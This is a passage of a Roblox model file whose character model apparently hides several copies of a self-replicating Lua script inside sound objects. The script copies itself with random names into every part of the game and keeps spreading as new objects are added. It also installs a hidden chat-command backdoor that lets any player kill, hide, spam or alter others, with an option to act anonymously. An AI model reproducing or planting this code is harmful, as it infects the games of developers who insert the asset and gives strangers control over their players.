if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX472">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">3h7lfva8t</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX473">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ai5vfa</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX474">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Figure</string>
						<Ref name="PrimaryPart">RBX475</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX475">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-29.9888382</X>
								<Y>4.78031588</Y>
								<Z>119.300789</Z>
								<R00>-0.308796614</R00>
								<R01>-0.000818364497</R01>
								<R02>-0.951127768</R02>
								<R10>2.59560218e-009</R10>
								<R11>0.999999642</R11>
								<R12>-0.000860415457</R12>
								<R20>0.951128125</R20>
								<R21>-0.000265695795</R21>
								<R22>-0.308796495</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Head</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX476">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">0</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1.25</X>
									<Y>1.25</Y>
									<Z>1.25</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX477">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">2p9wkr5c</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX478">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">ff7l</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
